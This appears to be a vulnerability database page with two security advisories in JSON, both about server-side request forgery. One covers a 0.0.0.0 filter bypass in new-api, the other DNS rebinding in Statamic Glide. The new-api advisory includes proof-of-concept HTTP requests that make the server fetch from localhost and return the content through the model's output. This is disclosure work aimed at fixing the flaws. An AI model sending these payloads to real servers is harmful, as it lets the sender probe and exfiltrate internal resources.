        "ecosystem": "Go",
        "name": "github.com/QuantumNous/new-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.11.9-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:23:21Z",
    "nvd_published_at": "2026-05-08T23:16:36Z",
    "severity": "HIGH"
  },
  "details": "# SSRF Filter Bypass via `0.0.0.0` \n\n### Summary\n\nThe SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**.\n\n### Details\n\n#### Root Cause\n\n`common/ssrf_protection.go` \u2014 `isPrivateIP()` (lines 33\u201347) checks the following ranges:\n\n- `10.0.0.0/8`\n- `172.16.0.0/12`\n- `192.168.0.0/16`\n- `127.0.0.0/8`\n- `169.254.0.0/16`\n- `224.0.0.0/4`\n- `240.0.0.0/4`\n\n**`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`.\n\n#### Default Fetch Settings\n\n`setting/system_setting/fetch_setting.go` (lines 16\u201324) defaults:\n\n- `EnableSSRFProtection: true`\n- `AllowPrivateIp: false`\n- `AllowedPorts: [\"80\", \"443\", \"8080\", \"8443\"]`\n- `ApplyIPFilterForDomain: true`\n\nSo `0.0.0.0` on any of these four ports passes all checks.\n\n#### Data Flow (primary chain \u2014 `/v1/chat/completions`)\n\n```\nUser API token\n\u2192 /v1/chat/completions  (TokenAuth, no admin required)\n\u2192 messages[].content[].image_url.url = \"http://0.0.0.0:8080/...\"\n\u2192 dto/openai_request.go:111-117   createFileSource() recognises http(s):// as URL source\n\u2192 dto/openai_request.go:119-198   GetTokenCountMeta() collects image_url.url / file.file_data / video_url\n\u2192 service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true\n\u2192 service/file_service.go:135-143  loadFromURL() \u2192 DoDownloadRequest()\n\u2192 service/download.go:52-68       ValidateURLWithFetchSetting() \u2192 0.0.0.0 NOT blocked \u2192 GetHttpClient().Get()\n\u2192 Server issues real TCP connection to 0.0.0.0\n```\n\n**Note on stream requirement:** `common/init.go` (lines 140\u2013141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path.\n\n#### Additional Affected Endpoints\n\nThe same `ValidateURLWithFetchSetting()` \u2192 `DoDownloadRequest()` sink is reachable from:\n\n| Endpoint | User-controlled field | Auth required |\n|---|---|---|\n| `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token |\n| `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token |\n| `/v1/messages` | `source.url` (type: `\"url\"`) | Regular user token |\n| `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |\n\n#### Upgrade to Full-Read SSRF (conditional)\n\n`relay/channel/aws/adaptor.go` (lines 41\u201361) \u2014 `ConvertClaudeRequest()`:\n\n- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content\n- When `source.type == \"url\"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path\n- The fetched content is rewritten to `type: \"base64\"` and inlined into the model request\n- The model then describes/transcribes the content in its response\n\nThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model\u0027s output, not just detect open/closed ports.\n\n### Proof of Concept\n\n**Prerequisites:** A regular user account with a valid API token. No admin privileges required.\n\n**Step 1 \u2014 Control group: `127.0.0.1` is blocked**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://127.0.0.1:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\nprivate IP address not allowed: 127.0.0.1\n```\n\n**Step 2 \u2014 Experiment group: `0.0.0.0` bypasses the filter**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"gpt-4o-mini\",\n  \"stream\": true,\n  \"max_tokens\": 1,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"describe\"},\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://0.0.0.0:8080/probe.png\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```\ndial tcp 0.0.0.0:8080: connect: connection refused\n```\n\nThe server attempted a real TCP connection \u2014 the SSRF filter was bypassed.\n\n**Step 3 \u2014 Confirm readback capability via multimodal model**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n  \"model\": \"claude-3-5-sonnet-latest\",\n  \"stream\": false,\n  \"max_tokens\": 32,\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"Transcribe exactly the text in the image. Output only the text.\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"https://dummyimage.com/600x180/111/fff.png\u0026text=READBACK-OK-314159\",\n            \"detail\": \"low\"\n          }\n        }\n      ]\n    }\n  ]\n}\n```\n\nResponse:\n\n```json\n{\"choices\":[{\"message\":{\"content\":\"READBACK-OK-314159\"}}]}\n```\n\nThis confirms that when the fetch target returns readable content (image/PDF/text), the model\u0027s response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:\u003callowed-port\u003e` returns image or document content, an attacker can exfiltrate it.\n\n### Impact\n\nAn authenticated regular user (no admin privileges) can:\n\n1. **Probe localhost and internal services** \u2014 Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.\n2. **Exfiltrate internal content** \u2014 When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).\n3. **Bypass all previous SSRF mitigations** \u2014 This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required \u2014 just replacing `127.0.0.1` with `0.0.0.0`.\n\nSince user registration is often enabled by default, any registered user can exploit this.\n\n### Suggested Fix\n\n1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` (`common/ssrf_protection.go`)\n2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) \u2014 also ensure coverage for:\n   - `0.0.0.0/8` (\"This network\")\n   - `100.64.0.0/10` (Carrier-grade NAT)\n   - `198.18.0.0/15` (Benchmarking)\n   - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10`\n3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter)\n\n### Resources\n\n- **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5\n- **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6",
  "id": "GHSA-v5c3-6wvc-pc2q",
  "modified": "2026-05-13T13:38:24Z",
  "published": "2026-05-06T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42339"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuantumNous/new-api"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9f46-w24h-69w4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0"
}

GHSA-V5C4-WCPJ-X73M

Vulnerability from github – Published: 2026-06-26 23:03 – Updated: 2026-06-26 23:03
VLAI
Summary
Statamic Vulnerable to Server-Side Request Forgery via Glide (DNS rebinding)
Details

Impact

The Glide image proxy's URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname's DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses — including loopback, private network, and cloud metadata endpoints.

This affects sites that pass user-supplied URLs to Glide.

Patches

This has been fixed in 5.73.24 and 6.20.1.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.73.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "statamic/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:03:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe Glide image proxy\u0027s URL validation could be bypassed using DNS rebinding. The remote hostname was validated as publicly routable, but resolved again when the image was actually fetched, so an attacker controlling the hostname\u0027s DNS could rebind it to an internal address after validation. This could cause the server to make HTTP requests to internal addresses \u2014 including loopback, private network, and cloud metadata endpoints.\n\nThis affects sites that pass user-supplied URLs to Glide.\n\n\n### Patches\n\nThis has been fixed in 5.73.24 and 6.20.1.",
  "id": "GHSA-v5c4-wcpj-x73m",
  "modified": "2026-06-26T23:03:29Z",
  "published": "2026-06-26T23:03:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/statamic/cms/security/advisories/GHSA-v5c4-wcpj-x73m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/statamic/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Statamic Vulnerable to Server-Side Request Forgery via Glide (DNS rebinding)"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list